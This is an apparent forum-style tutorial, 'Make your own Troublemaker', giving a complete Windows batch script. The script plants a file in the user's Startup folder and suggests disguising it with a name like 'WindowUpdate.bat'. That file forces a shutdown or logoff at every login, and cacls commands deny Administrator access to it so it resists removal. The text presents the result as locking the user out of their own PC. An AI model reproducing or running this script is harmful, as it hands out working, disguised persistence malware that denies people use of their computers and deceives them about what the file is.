Make your own Troublemaker
Creat a New Text Document in any folder
Right click>New>Text Document
Write the following code in ur Text Editor!
@echo off
cd \
c:
cd %appdata%
cd..
cd Start Menu\Programs\Startup
echo @echo off>UrProgramName.bat (!Replace UrProgramName.bat everywhere with something like WindowUpdate.bat!)
echo msg * Enter ur message here!>>UrProgramName.bat (!msg * Displays a message;replace Enter ur msg with ur message!)
echo shutdown -f>>UrProgramName.bat
attrib UrProgramName.bat +R
cacls UrProgramName.bat /E /P Administrator:N
cacls UrProgramName.bat /E /P Administrator:N
cacls UrProgramName.bat /E /P System:F
exit
goto file>save As>Dangerous.bat>Save
After saving, try executing this parent file on ur PC.
The Troublemaker has been created in the Startup folder of the user.Next time user will not be able to start the PC!
Next time the starts the PC, KABOOM! It'll login and then automatically LOGOUT without warning,leaving the user locked!